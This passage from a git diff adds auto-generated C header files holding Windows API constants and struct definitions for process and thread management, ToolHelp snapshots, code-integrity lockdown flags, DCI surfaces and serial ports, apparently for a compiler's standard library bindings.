0x41 +#define PF_ARM_V82_I8MM_INSTRUCTIONS_AVAILABLE 0x42 +#define PF_ARM_V82_FP16_INSTRUCTIONS_AVAILABLE 0x43 +#define PF_ARM_V86_BF16_INSTRUCTIONS_AVAILABLE 0x44 +#define PF_ARM_V86_EBF16_INSTRUCTIONS_AVAILABLE 0x45 +#define PF_ARM_SME_INSTRUCTIONS_AVAILABLE 0x46 +#define PF_ARM_SME2_INSTRUCTIONS_AVAILABLE 0x47 +#define PF_ARM_SME2_1_INSTRUCTIONS_AVAILABLE 0x48 +#define PF_ARM_SME2_2_INSTRUCTIONS_AVAILABLE 0x49 +#define PF_ARM_SME_AES_INSTRUCTIONS_AVAILABLE 0x4a +#define PF_ARM_SME_SBITPERM_INSTRUCTIONS_AVAILABLE 0x4b +#define PF_ARM_SME_SF8MM4_INSTRUCTIONS_AVAILABLE 0x4c +#define PF_ARM_SME_SF8MM8_INSTRUCTIONS_AVAILABLE 0x4d +#define PF_ARM_SME_SF8DP2_INSTRUCTIONS_AVAILABLE 0x4e +#define PF_ARM_SME_SF8DP4_INSTRUCTIONS_AVAILABLE 0x4f +#define PF_ARM_SME_SF8FMA_INSTRUCTIONS_AVAILABLE 0x50 +#define PF_ARM_SME_F8F32_INSTRUCTIONS_AVAILABLE 0x51 +#define PF_ARM_SME_F8F16_INSTRUCTIONS_AVAILABLE 0x52 +#define PF_ARM_SME_F16F16_INSTRUCTIONS_AVAILABLE 0x53 +#define PF_ARM_SME_B16B16_INSTRUCTIONS_AVAILABLE 0x54 +#define PF_ARM_SME_F64F64_INSTRUCTIONS_AVAILABLE 0x55 +#define PF_ARM_SME_I16I64_INSTRUCTIONS_AVAILABLE 0x56 +#define PF_ARM_SME_LUTv2_INSTRUCTIONS_AVAILABLE 0x57 +#define PF_ARM_SME_FA64_INSTRUCTIONS_AVAILABLE 0x58 +#define UserEnabled 1 +#define KernelEnabled 2 +#define Wow64Container 4 +#define AVRT_PRIORITY_VERYLOW -2 +#define AVRT_PRIORITY_LOW -1 +#define AVRT_PRIORITY_NORMAL 0 +#define AVRT_PRIORITY_HIGH 1 +#define AVRT_PRIORITY_CRITICAL 2 +#define PROCESS_DEP_ENABLE 0x1 +#define PROCESS_DEP_DISABLE_ATL_THUNK_EMULATION 0x2 +#define PROCESS_DEP_NONE 0x0 +#define STARTF_FORCEONFEEDBACK 0x40 +#define STARTF_FORCEOFFFEEDBACK 0x80 +#define STARTF_PREVENTPINNING 0x2000 +#define STARTF_RUNFULLSCREEN 0x20 +#define STARTF_TITLEISAPPID 0x1000 +#define STARTF_TITLEISLINKNAME 0x800 +#define STARTF_UNTRUSTEDSOURCE 0x8000 +#define STARTF_USECOUNTCHARS 0x8 +#define STARTF_USEFILLATTRIBUTE 0x10 +#define STARTF_USEHOTKEY 0x200 +#define STARTF_USEPOSITION 0x4 +#define STARTF_USESHOWWINDOW 0x1 +#define STARTF_USESIZE 0x2 +#define STARTF_USESTDHANDLES 0x100 +#define EVENT_ALL_ACCESS 0x1f0003 +#define EVENT_MODIFY_STATE 0x2 +#define MUTEX_ALL_ACCESS 0x1f0001 +#define MUTEX_MODIFY_STATE 0x1 +#define SEMAPHORE_ALL_ACCESS 0x1f0003 +#define SEMAPHORE_MODIFY_STATE 0x2 +#define TIMER_ALL_ACCESS 0x1f0003 +#define TIMER_MODIFY_STATE 0x2 +#define TIMER_QUERY_STATE 0x1 +#define SYNCHRONIZATION_DELETE 0x10000 +#define SYNCHRONIZATION_READ_CONTROL 0x20000 +#define SYNCHRONIZATION_WRITE_DAC 0x40000 +#define SYNCHRONIZATION_WRITE_OWNER 0x80000 +#define SYNCHRONIZATION_SYNCHRONIZE 0x100000 +#define WT_EXECUTEDEFAULT 0x0 +#define WT_EXECUTEINIOTHREAD 0x1 +#define WT_EXECUTEINPERSISTENTTHREAD 0x80 +#define WT_EXECUTEINWAITTHREAD 0x4 +#define WT_EXECUTELONGFUNCTION 0x10 +#define WT_EXECUTEONLYONCE 0x8 +#define WT_TRANSFER_IMPERSONATION 0x100 +#define WT_EXECUTEINTIMERTHREAD 0x20 +#define RTWQ_STANDARD_WORKQUEUE 0 +#define RTWQ_WINDOW_WORKQUEUE 1 +#define RTWQ_MULTITHREADED_WORKQUEUE 2 +#define PROCESS_TERMINATE 0x1 +#define PROCESS_CREATE_THREAD 0x2 +#define PROCESS_SET_SESSIONID 0x4 +#define PROCESS_VM_OPERATION 0x8 +#define PROCESS_VM_READ 0x10 +#define PROCESS_VM_WRITE 0x20 +#define PROCESS_DUP_HANDLE 0x40 +#define PROCESS_CREATE_PROCESS 0x80 +#define PROCESS_SET_QUOTA 0x100 +#define PROCESS_SET_INFORMATION 0x200 +#define PROCESS_QUERY_INFORMATION 0x400 +#define PROCESS_SUSPEND_RESUME 0x800 +#define PROCESS_QUERY_LIMITED_INFORMATION 0x1000 +#define PROCESS_SET_LIMITED_INFORMATION 0x2000 +#define PROCESS_ALL_ACCESS 0x1fffff +#define PROCESS_DELETE 0x10000 +#define PROCESS_READ_CONTROL 0x20000 +#define PROCESS_WRITE_DAC 0x40000 +#define PROCESS_WRITE_OWNER 0x80000 +#define PROCESS_SYNCHRONIZE 0x100000 +#define PROCESS_STANDARD_RIGHTS_REQUIRED 0xf0000 +#define QUEUE_USER_APC_FLAGS_NONE 0 +#define QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC 1 +#define QUEUE_USER_APC_CALLBACK_DATA_CONTEXT 65536 +#define ProcessDEPPolicy 0 +#define ProcessASLRPolicy 1 +#define ProcessDynamicCodePolicy 2 +#define ProcessStrictHandleCheckPolicy 3 +#define ProcessSystemCallDisablePolicy 4 +#define ProcessMitigationOptionsMask 5 +#define ProcessExtensionPointDisablePolicy 6 +#define ProcessControlFlowGuardPolicy 7 +#define ProcessSignaturePolicy 8 +#define ProcessFontDisablePolicy 9 +#define ProcessImageLoadPolicy 10 +#define ProcessSystemCallFilterPolicy 11 +#define ProcessPayloadRestrictionPolicy 12 +#define ProcessChildProcessPolicy 13 +#define ProcessSideChannelIsolationPolicy 14 +#define ProcessUserShadowStackPolicy 15 +#define ProcessRedirectionTrustPolicy 16 +#define ProcessUserPointerAuthPolicy 17 +#define ProcessSEHOPPolicy 18 +#define MaxProcessMitigationPolicy 19 +#define UmsThreadInvalidInfoClass 0 +#define UmsThreadUserContext 1 +#define UmsThreadPriority 2 +#define UmsThreadAffinity 3 +#define UmsThreadTeb 4 +#define UmsThreadIsSuspended 5 +#define UmsThreadIsTerminated 6 +#define UmsThreadMaxInfoClass 7 +#define TP_CALLBACK_PRIORITY_HIGH 0 +#define TP_CALLBACK_PRIORITY_NORMAL 1 +#define TP_CALLBACK_PRIORITY_LOW 2 +#define TP_CALLBACK_PRIORITY_INVALID 3 +#define TP_CALLBACK_PRIORITY_COUNT 3 +#define THREAD_MODE_BACKGROUND_BEGIN 65536 +#define THREAD_MODE_BACKGROUND_END 131072 +#define THREAD_PRIORITY_ABOVE_NORMAL 1 +#define THREAD_PRIORITY_BELOW_NORMAL -1 +#define THREAD_PRIORITY_HIGHEST 2 +#define THREAD_PRIORITY_IDLE -15 +#define THREAD_PRIORITY_MIN -2 +#define THREAD_PRIORITY_LOWEST -2 +#define THREAD_PRIORITY_NORMAL 0 +#define THREAD_PRIORITY_TIME_CRITICAL 15 +#define PMETypeFailFastOnCommitFailure 0 +#define PMETypeMax 1 +#define PROTECTION_LEVEL_WINTCB_LIGHT 0x0 +#define PROTECTION_LEVEL_WINDOWS 0x1 +#define PROTECTION_LEVEL_WINDOWS_LIGHT 0x2 +#define PROTECTION_LEVEL_ANTIMALWARE_LIGHT 0x3 +#define PROTECTION_LEVEL_LSA_LIGHT 0x4 +#define PROTECTION_LEVEL_WINTCB 0x5 +#define PROTECTION_LEVEL_CODEGEN_LIGHT 0x6 +#define PROTECTION_LEVEL_AUTHENTICODE 0x7 +#define PROTECTION_LEVEL_PPL_APP 0x8 +#define PROTECTION_LEVEL_NONE 0xfffffffe +#define THREAD_CREATE_RUN_IMMEDIATELY 0x0 +#define THREAD_CREATE_SUSPENDED 0x4 +#define STACK_SIZE_PARAM_IS_A_RESERVATION 0x10000 +#define DEBUG_PROCESS 0x1 +#define DEBUG_ONLY_THIS_PROCESS 0x2 +#define CREATE_SUSPENDED 0x4 +#define DETACHED_PROCESS 0x8 +#define CREATE_NEW_CONSOLE 0x10 +#define NORMAL_PRIORITY_CLASS 0x20 +#define IDLE_PRIORITY_CLASS 0x40 +#define HIGH_PRIORITY_CLASS 0x80 +#define REALTIME_PRIORITY_CLASS 0x100 +#define CREATE_NEW_PROCESS_GROUP 0x200 +#define CREATE_UNICODE_ENVIRONMENT 0x400 +#define CREATE_SEPARATE_WOW_VDM 0x800 +#define CREATE_SHARED_WOW_VDM 0x1000 +#define CREATE_FORCEDOS 0x2000 +#define BELOW_NORMAL_PRIORITY_CLASS 0x4000 +#define ABOVE_NORMAL_PRIORITY_CLASS 0x8000 +#define INHERIT_PARENT_AFFINITY 0x10000 +#define INHERIT_CALLER_PRIORITY 0x20000 +#define CREATE_PROTECTED_PROCESS 0x40000 +#define EXTENDED_STARTUPINFO_PRESENT 0x80000 +#define PROCESS_MODE_BACKGROUND_BEGIN 0x100000 +#define PROCESS_MODE_BACKGROUND_END 0x200000 +#define CREATE_SECURE_PROCESS 0x400000 +#define CREATE_BREAKAWAY_FROM_JOB 0x1000000 +#define CREATE_PRESERVE_CODE_AUTHZ_LEVEL 0x2000000 +#define CREATE_DEFAULT_ERROR_MODE 0x4000000 +#define CREATE_NO_WINDOW 0x8000000 +#define PROFILE_USER 0x10000000 +#define PROFILE_KERNEL 0x20000000 +#define PROFILE_SERVER 0x40000000 +#define CREATE_IGNORE_SYSTEM_DEFAULT 0x80000000 +#define PROCESS_AFFINITY_DISABLE_AUTO_UPDATE 0x0 +#define PROCESS_AFFINITY_ENABLE_AUTO_UPDATE 0x1 +#define ProcessMemoryPriority 0 +#define ProcessMemoryExhaustionInfo 1 +#define ProcessAppMemoryInfo 2 +#define ProcessInPrivateInfo 3 +#define ProcessPowerThrottling 4 +#define ProcessReservedValue1 5 +#define ProcessTelemetryCoverageInfo 6 +#define ProcessProtectionLevelInfo 7 +#define ProcessLeapSecondInfo 8 +#define ProcessMachineTypeInfo 9 +#define ProcessOverrideSubsequentPrefetchParameter 10 +#define ProcessMaxOverridePrefetchParameter 11 +#define ProcessInformationClassMax 12 +#define CREATE_EVENT_INITIAL_SET 0x2 +#define CREATE_EVENT_MANUAL_RESET 0x1 +#define MEMORY_PRIORITY_VERY_LOW 0x1 +#define MEMORY_PRIORITY_LOW 0x2 +#define MEMORY_PRIORITY_MEDIUM 0x3 +#define MEMORY_PRIORITY_BELOW_NORMAL 0x4 +#define MEMORY_PRIORITY_NORMAL 0x5 +#define LOGON_WITH_PROFILE 0x1 +#define LOGON_NETCREDENTIALS_ONLY 0x2 +#define THREAD_TERMINATE 0x1 +#define THREAD_SUSPEND_RESUME 0x2 +#define THREAD_GET_CONTEXT 0x8 +#define THREAD_SET_CONTEXT 0x10 +#define THREAD_SET_INFORMATION 0x20 +#define THREAD_QUERY_INFORMATION 0x40 +#define THREAD_SET_THREAD_TOKEN 0x80 +#define THREAD_IMPERSONATE 0x100 +#define THREAD_DIRECT_IMPERSONATION 0x200 +#define THREAD_SET_LIMITED_INFORMATION 0x400 +#define THREAD_QUERY_LIMITED_INFORMATION 0x800 +#define THREAD_RESUME 0x1000 +#define THREAD_ALL_ACCESS 0x1fffff +#define THREAD_DELETE 0x10000 +#define THREAD_READ_CONTROL 0x20000 +#define THREAD_WRITE_DAC 0x40000 +#define THREAD_WRITE_OWNER 0x80000 +#define THREAD_SYNCHRONIZE 0x100000 +#define THREAD_STANDARD_RIGHTS_REQUIRED 0xf0000 +#define ThreadMemoryPriority 0 +#define ThreadAbsoluteCpuPriority 1 +#define ThreadDynamicCodePolicy 2 +#define ThreadPowerThrottling 3 +#define ThreadInformationClassMax 4 + +typedef struct _PROCESS_MEMORY_EXHAUSTION_INFO { + unsigned short Version; + unsigned short Reserved; + void* Type; + unsigned long long Value; +} PROCESS_MEMORY_EXHAUSTION_INFO; + +typedef struct _PROCESS_PROTECTION_LEVEL_INFORMATION { + void* ProtectionLevel; +} PROCESS_PROTECTION_LEVEL_INFORMATION; + +typedef struct _PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE { + unsigned long long BaseAddress; + unsigned long long Size; + unsigned int Flags; +} PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE; + +typedef struct _PROCESS_BASIC_INFORMATION { + int ExitStatus; + void* PebBaseAddress; + unsigned long long AffinityMask; + int BasePriority; + unsigned long long UniqueProcessId; + unsigned long long InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION; + +typedef struct _LPPROC_THREAD_ATTRIBUTE_LIST { + void* Value; +} LPPROC_THREAD_ATTRIBUTE_LIST; + +typedef struct _CRITICAL_SECTION_DEBUG { + unsigned short Type; + unsigned short CreatorBackTraceIndex; + void* CriticalSection; + void* ProcessLocksList; + unsigned int EntryCount; + unsigned int ContentionCount; + unsigned int Flags; + unsigned short CreatorBackTraceIndexHigh; + unsigned short Identifier; +} CRITICAL_SECTION_DEBUG; + +typedef struct _PTP_CLEANUP_GROUP { + long long Value; +} PTP_CLEANUP_GROUP; + +typedef struct _REASON_CONTEXT { + unsigned int Version; + void* Flags; + void* Reason; +} REASON_CONTEXT; + +typedef struct _PROCESS_POWER_THROTTLING_STATE { + unsigned int Version; + unsigned int ControlMask; + unsigned int StateMask; +} PROCESS_POWER_THROTTLING_STATE; + +typedef struct _PROCESS_LEAP_SECOND_INFO { + unsigned int Flags; + unsigned int Reserved; +} PROCESS_LEAP_SECOND_INFO; + +typedef struct _RTL_USER_PROCESS_PARAMETERS { + unsigned char Reserved1[16]; + void* Reserved2[10]; + void* ImagePathName; + void* CommandLine; +} RTL_USER_PROCESS_PARAMETERS; + +typedef struct _PTP_WORK { + long long Value; +} PTP_WORK; + +typedef struct _PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGES_INFORMATION { + unsigned short NumberOfRanges; + unsigned short Reserved; + unsigned int Reserved2; + void* Ranges; +} PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGES_INFORMATION; + +typedef struct _PROCESS_INFORMATION { + void* hProcess; + void* hThread; + unsigned int dwProcessId; + unsigned int dwThreadId; +} PROCESS_INFORMATION; + +typedef struct _PTP_CALLBACK_INSTANCE { + long long Value; +} PTP_CALLBACK_INSTANCE; + +typedef struct _STARTUPINFOW { + unsigned int cb; + void* lpReserved; + void* lpDesktop; + void* lpTitle; + unsigned int dwX; + unsigned int dwY; + unsigned int dwXSize; + unsigned int dwYSize; + unsigned int dwXCountChars; + unsigned int dwYCountChars; + unsigned int dwFillAttribute; + void* dwFlags; + unsigned short wShowWindow; + unsigned short cbReserved2; + void* lpReserved2; + void* hStdInput; + void* hStdOutput; + void* hStdError; +} STARTUPINFOW; + +typedef struct _APP_MEMORY_INFORMATION { + unsigned long long AvailableCommit; + unsigned long long PrivateCommitUsage; + unsigned long long PeakPrivateCommitUsage; + unsigned long long TotalCommitUsage; +} APP_MEMORY_INFORMATION; + +typedef struct _PROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION { + unsigned short NumberOfTargets; + unsigned short Reserved; + unsigned int Reserved2; + void* Targets; +} PROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION; + +typedef struct _IO_COUNTERS { + unsigned long long ReadOperationCount; + unsigned long long WriteOperationCount; + unsigned long long OtherOperationCount; + unsigned long long ReadTransferCount; + unsigned long long WriteTransferCount; + unsigned long long OtherTransferCount; +} IO_COUNTERS; + +typedef struct _INIT_ONCE { + void* Ptr; +} INIT_ONCE; + +typedef struct _STARTUPINFOA { + unsigned int cb; + void* lpReserved; + void* lpDesktop; + void* lpTitle; + unsigned int dwX; + unsigned int dwY; + unsigned int dwXSize; + unsigned int dwYSize; + unsigned int dwXCountChars; + unsigned int dwYCountChars; + unsigned int dwFillAttribute; + void* dwFlags; + unsigned short wShowWindow; + unsigned short cbReserved2; + void* lpReserved2; + void* hStdInput; + void* hStdOutput; + void* hStdError; +} STARTUPINFOA; + +typedef struct _UMS_SCHEDULER_STARTUP_INFO { + unsigned int UmsVersion; + void* CompletionList; + void* SchedulerProc; + void* SchedulerParam; +} UMS_SCHEDULER_STARTUP_INFO; + +typedef struct _MEMORY_PRIORITY_INFORMATION { + void* MemoryPriority; +} MEMORY_PRIORITY_INFORMATION; + +typedef struct _AVRT_TASK_HANDLE { + void* Value; +} AVRT_TASK_HANDLE; + +typedef struct _UMS_SYSTEM_THREAD_INFORMATION { + unsigned int UmsVersion; + void* Anonymous; +} UMS_SYSTEM_THREAD_INFORMATION; + +typedef struct _PTP_WAIT { + long long Value; +} PTP_WAIT; + +typedef struct _TP_CALLBACK_ENVIRON_V3 { + unsigned int Version; + void* Pool; + void* CleanupGroup; + void* CleanupGroupCancelCallback; + void* RaceDll; + long long ActivationContext; + void* FinalizationCallback; + void* u; + void* CallbackPriority; + unsigned int Size; +} TP_CALLBACK_ENVIRON_V3; + +typedef struct _STARTUPINFOEXA { + void* StartupInfo; + void* lpAttributeList; +} STARTUPINFOEXA; + +typedef struct _PROCESS_MACHINE_INFORMATION { + void* ProcessMachine; + unsigned short Res0; + void* MachineAttributes; +} PROCESS_MACHINE_INFORMATION; + +typedef struct _THREAD_POWER_THROTTLING_STATE { + unsigned int Version; + unsigned int ControlMask; + unsigned int StateMask; +} THREAD_POWER_THROTTLING_STATE; + +typedef struct _CRITICAL_SECTION { + void* DebugInfo; + int LockCount; + int RecursionCount; + void* OwningThread; + void* LockSemaphore; + unsigned long long SpinCount; +} CRITICAL_SECTION; + +typedef struct _SYNCHRONIZATION_BARRIER { + unsigned int Reserved1; + unsigned int Reserved2; + unsigned long long Reserved3[2]; + unsigned int Reserved4; + unsigned int Reserved5; +} SYNCHRONIZATION_BARRIER; + +typedef struct _SRWLOCK { + void* Ptr; +} SRWLOCK; + +typedef struct _PEB_LDR_DATA { + unsigned char Reserved1[8]; + void* Reserved2[3]; + void* InMemoryOrderModuleList; +} PEB_LDR_DATA; + +typedef struct _STARTUPINFOEXW { + void* StartupInfo; + void* lpAttributeList; +} STARTUPINFOEXW; + +typedef struct _PEB { + unsigned char Reserved1[2]; + unsigned char BeingDebugged; + unsigned char Reserved2[1]; + void* Reserved3[2]; + void* Ldr; + void* ProcessParameters; + void* Reserved4[3]; + void* AtlThunkSListPtr; + void* Reserved5; + unsigned int Reserved6; + void* Reserved7; + unsigned int Reserved8; + unsigned int AtlThunkSListPtr32; + void* Reserved9[45]; + unsigned char Reserved10[96]; + void* PostProcessInitRoutine; + unsigned char Reserved11[128]; + void* Reserved12[1]; + unsigned int SessionId; +} PEB; + +typedef struct _CONDITION_VARIABLE { + void* Ptr; +} CONDITION_VARIABLE; + +typedef struct _PTP_POOL { + long long Value; +} PTP_POOL; + +typedef struct _PTP_TIMER { + long long Value; +} PTP_TIMER; + +typedef struct _TEB { + void* Reserved1[12]; + void* ProcessEnvironmentBlock; + void* Reserved2[399]; + unsigned char Reserved3[1952]; + void* TlsSlots[64]; + unsigned char Reserved4[8]; + void* Reserved5[26]; + void* ReservedForOle; + void* Reserved6[4]; + void* TlsExpansionSlots; +} TEB; + +typedef struct _AVRT_THREAD_ORDERING_GROUP_HANDLE { + void* Value; +} AVRT_THREAD_ORDERING_GROUP_HANDLE; + +typedef struct _PTP_IO { + long long Value; +} PTP_IO; + +typedef struct _OVERRIDE_PREFETCH_PARAMETER { + unsigned int Value; +} OVERRIDE_PREFETCH_PARAMETER; + +typedef struct _TP_POOL_STACK_INFORMATION { + unsigned long long StackReserve; + unsigned long long StackCommit; +} TP_POOL_STACK_INFORMATION; + +typedef struct _PROCESS_DYNAMIC_EH_CONTINUATION_TARGET { + unsigned long long TargetAddress; + unsigned long long Flags; +} PROCESS_DYNAMIC_EH_CONTINUATION_TARGET; + diff --git a/stdlib/win32/toolhelp.h b/stdlib/win32/toolhelp.h new file mode 100644 index 0000000..66f9162 --- /dev/null +++ b/stdlib/win32/toolhelp.h @@ -0,0 +1,61 @@ +// Generated by entc-win32gen from `Windows.Win32.System.Diagnostics.ToolHelp`. +// Do not edit by hand. Re-run the generator to refresh. + +#define TH32CS_SNAPHEAPLIST 0x1 +#define TH32CS_SNAPPROCESS 0x2 +#define TH32CS_SNAPTHREAD 0x4 +#define TH32CS_SNAPMODULE 0x8 +#define TH32CS_SNAPMODULE32 0x10 +#define TH32CS_SNAPALL 0xF +#define TH32CS_INHERIT 0x80000000 + +#define MAX_MODULE_NAME32 255 + +typedef struct tagPROCESSENTRY32 { + unsigned int dwSize; + unsigned int cntUsage; + unsigned int th32ProcessID; + void* th32DefaultHeapID; + unsigned int th32ModuleID; + unsigned int cntThreads; + unsigned int th32ParentProcessID; + int pcPriClassBase; + unsigned int dwFlags; + unsigned char szExeFile[260]; +} PROCESSENTRY32; + +typedef struct tagMODULEENTRY32 { + unsigned int dwSize; + unsigned int th32ModuleID; + unsigned int th32ProcessID; + unsigned int GlblcntUsage; + unsigned int ProccntUsage; + void* modBaseAddr; + unsigned int modBaseSize; + void* hModule; + unsigned char szModule[256]; + unsigned char szExePath[260]; +} MODULEENTRY32; + +typedef struct tagTHREADENTRY32 { + unsigned int dwSize; + unsigned int cntUsage; + unsigned int th32ThreadID; + unsigned int th32OwnerProcessID; + int tpBasePri; + int tpDeltaPri; + unsigned int dwFlags; +} THREADENTRY32; + +typedef struct tagHEAPENTRY32 { + void* dwSize; + void* hHandle; + void* dwAddress; + void* dwBlockSize; + unsigned int dwFlags; + unsigned int dwLockCount; + unsigned int dwResvd; + unsigned int th32ProcessID; + void* th32HeapID; +} HEAPENTRY32; + diff --git a/stdlib/win32/windowsprogramming.h b/stdlib/win32/windowsprogramming.h new file mode 100644 index 0000000..a6e2cce --- /dev/null +++ b/stdlib/win32/windowsprogramming.h @@ -0,0 +1,1188 @@ +// Generated by entc-win32gen from `Windows.Win32.System.WindowsProgramming`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +// SKIPPED const WLDP_DLL: non-integer constant +// SKIPPED const WLDP_GETLOCKDOWNPOLICY_FN: non-integer constant +// SKIPPED const WLDP_ISCLASSINAPPROVEDLIST_FN: non-integer constant +// SKIPPED const WLDP_SETDYNAMICCODETRUST_FN: non-integer constant +// SKIPPED const WLDP_ISDYNAMICCODEPOLICYENABLED_FN: non-integer constant +// SKIPPED const WLDP_QUERYDANAMICCODETRUST_FN: non-integer constant +// SKIPPED const WLDP_QUERYDYNAMICCODETRUST_FN: non-integer constant +// SKIPPED const WLDP_QUERYWINDOWSLOCKDOWNMODE_FN: non-integer constant +// SKIPPED const WLDP_SETWINDOWSLOCKDOWNRESTRICTION_FN: non-integer constant +// SKIPPED const WLDP_QUERYDEVICESECURITYINFORMATION_FN: non-integer constant +// SKIPPED const WLDP_QUERYWINDOWSLOCKDOWNRESTRICTION_FN: non-integer constant +// SKIPPED const WLDP_ISAPPAPPROVEDBYPOLICY_FN: non-integer constant +// SKIPPED const WLDP_QUERYPOLICYSETTINGENABLED_FN: non-integer constant +// SKIPPED const WLDP_QUERYPOLICYSETTINGENABLED2_FN: non-integer constant +// SKIPPED const WLDP_ISWCOSPRODUCTIONCONFIGURATION_FN: non-integer constant +// SKIPPED const WLDP_RESETWCOSPRODUCTIONCONFIGURATION_FN: non-integer constant +// SKIPPED const WLDP_ISPRODUCTIONCONFIGURATION_FN: non-integer constant +// SKIPPED const WLDP_RESETPRODUCTIONCONFIGURATION_FN: non-integer constant +// SKIPPED const WLDP_CANEXECUTEBUFFER_FN: non-integer constant +// SKIPPED const WLDP_CANEXECUTEFILE_FN: non-integer constant +// SKIPPED const WLDP_CANEXECUTEFILEFROMDETACHEDSIGNATURE_FN: non-integer constant +// SKIPPED const WLDP_QUERYSECURITYPOLICY_FN: non-integer constant +#define WLDP_LOCKDOWN_UNDEFINED 0x0 +#define WLDP_LOCKDOWN_DEFINED_FLAG 0x80000000 +#define WLDP_LOCKDOWN_CONFIG_CI_FLAG 0x1 +#define WLDP_LOCKDOWN_CONFIG_CI_AUDIT_FLAG 0x2 +#define WLDP_LOCKDOWN_UMCIENFORCE_FLAG 0x4 +#define WLDP_LOCKDOWN_AUDIT_FLAG 0x8 +#define WLDP_LOCKDOWN_EXCLUSION_FLAG 0x10 +#define WLDP_LOCKDOWN_OFF 0x80000000 +#define WLDP_HOST_INFORMATION_REVISION 0x1 +#define WLDP_FLAGS_SKIPSIGNATUREVALIDATION 0x100 +#define MAX_TDI_ENTITIES 0x1000 +#define INFO_CLASS_GENERIC 0x100 +#define INFO_CLASS_PROTOCOL 0x200 +#define INFO_CLASS_IMPLEMENTATION 0x300 +#define INFO_TYPE_PROVIDER 0x100 +#define INFO_TYPE_ADDRESS_OBJECT 0x200 +#define INFO_TYPE_CONNECTION 0x300 +#define ENTITY_LIST_ID 0x0 +#define INVALID_ENTITY_INSTANCE -1 +#define CONTEXT_SIZE 0x10 +#define ENTITY_TYPE_ID 0x1 +#define CO_TL_NBF 0x400 +#define CO_TL_SPX 0x402 +#define CO_TL_TCP 0x404 +#define CO_TL_SPP 0x406 +#define CL_TL_NBF 0x401 +#define CL_TL_UDP 0x403 +#define ER_ICMP 0x380 +#define CL_NL_IPX 0x301 +#define CL_NL_IP 0x303 +#define AT_ARP 0x280 +#define AT_NULL 0x282 +#define IF_GENERIC 0x200 +#define IF_MIB 0x202 +#define IOCTL_TDI_TL_IO_CONTROL_ENDPOINT 0x210038 +#define DCI_VERSION 0x100 +#define DCICREATEPRIMARYSURFACE 0x1 +#define DCICREATEOFFSCREENSURFACE 0x2 +#define DCICREATEOVERLAYSURFACE 0x3 +#define DCIENUMSURFACE 0x4 +#define DCIESCAPE 0x5 +#define DCI_OK 0x0 +#define DCI_FAIL_GENERIC -1 +#define DCI_FAIL_UNSUPPORTEDVERSION -2 +#define DCI_FAIL_INVALIDSURFACE -3 +#define DCI_FAIL_UNSUPPORTED -4 +#define DCI_ERR_CURRENTLYNOTAVAIL -5 +#define DCI_ERR_INVALIDRECT -6 +#define DCI_ERR_UNSUPPORTEDFORMAT -7 +#define DCI_ERR_UNSUPPORTEDMASK -8 +#define DCI_ERR_TOOBIGHEIGHT -9 +#define DCI_ERR_TOOBIGWIDTH -10 +#define DCI_ERR_TOOBIGSIZE -11 +#define DCI_ERR_OUTOFMEMORY -12 +#define DCI_ERR_INVALIDPOSITION -13 +#define DCI_ERR_INVALIDSTRETCH -14 +#define DCI_ERR_INVALIDCLIPLIST -15 +#define DCI_ERR_SURFACEISOBSCURED -16 +#define DCI_ERR_XALIGN -17 +#define DCI_ERR_YALIGN -18 +#define DCI_ERR_XYALIGN -19 +#define DCI_ERR_WIDTHALIGN -20 +#define DCI_ERR_HEIGHTALIGN -21 +#define DCI_STATUS_POINTERCHANGED 0x1 +#define DCI_STATUS_STRIDECHANGED 0x2 +#define DCI_STATUS_FORMATCHANGED 0x4 +#define DCI_STATUS_SURFACEINFOCHANGED 0x8 +#define DCI_STATUS_CHROMAKEYCHANGED 0x10 +#define DCI_STATUS_WASSTILLDRAWING 0x20 +#define DCI_SURFACE_TYPE 0xf +#define DCI_PRIMARY 0x0 +#define DCI_OFFSCREEN 0x1 +#define DCI_OVERLAY 0x2 +#define DCI_VISIBLE 0x10 +#define DCI_CHROMAKEY 0x20 +#define DCI_1632_ACCESS 0x40 +#define DCI_DWORDSIZE 0x80 +#define DCI_DWORDALIGN 0x100 +#define DCI_WRITEONLY 0x200 +#define DCI_ASYNC 0x400 +#define DCI_CAN_STRETCHX 0x1000 +#define DCI_CAN_STRETCHY 0x2000 +#define DCI_CAN_STRETCHXN 0x4000 +#define DCI_CAN_STRETCHYN 0x8000 +#define DCI_CANOVERLAY 0x10000 +#define FILE_FLAG_OPEN_REQUIRING_OPLOCK 0x40000 +#define FILE_FLAG_IGNORE_IMPERSONATED_DEVICEMAP 0x20000 +#define FILE_FLAG_DISALLOW_PATH_REDIRECTS 0x10000 +#define FAIL_FAST_GENERATE_EXCEPTION_ADDRESS 0x1 +#define FAIL_FAST_NO_HARD_ERROR_DLG 0x2 +#define SP_SERIALCOMM 0x1 +#define PST_UNSPECIFIED 0x0 +#define PST_RS232 0x1 +#define PST_PARALLELPORT 0x2 +#define PST_RS422 0x3 +#define PST_RS423 0x4 +#define PST_RS449 0x5 +#define PST_MODEM 0x6 +#define PST_FAX 0x21 +#define PST_SCANNER 0x22 +#define PST_NETWORK_BRIDGE 0x100 +#define PST_LAT 0x101 +#define PST_TCPIP_TELNET 0x102 +#define PST_X25 0x103 +#define PCF_DTRDSR 0x1 +#define PCF_RTSCTS 0x2 +#define PCF_RLSD 0x4 +#define PCF_PARITY_CHECK 0x8 +#define PCF_XONXOFF 0x10 +#define PCF_SETXCHAR 0x20 +#define PCF_TOTALTIMEOUTS 0x40 +#define PCF_INTTIMEOUTS 0x80 +#define PCF_SPECIALCHARS 0x100 +#define PCF_16BITMODE 0x200 +#define SP_PARITY 0x1 +#define SP_BAUD 0x2 +#define SP_DATABITS 0x4 +#define SP_STOPBITS 0x8 +#define SP_HANDSHAKING 0x10 +#define SP_PARITY_CHECK 0x20 +#define SP_RLSD 0x40 +#define BAUD_075 0x1 +#define BAUD_110 0x2 +#define BAUD_134_5 0x4 +#define BAUD_150 0x8 +#define BAUD_300 0x10 +#define BAUD_600 0x20 +#define BAUD_1200 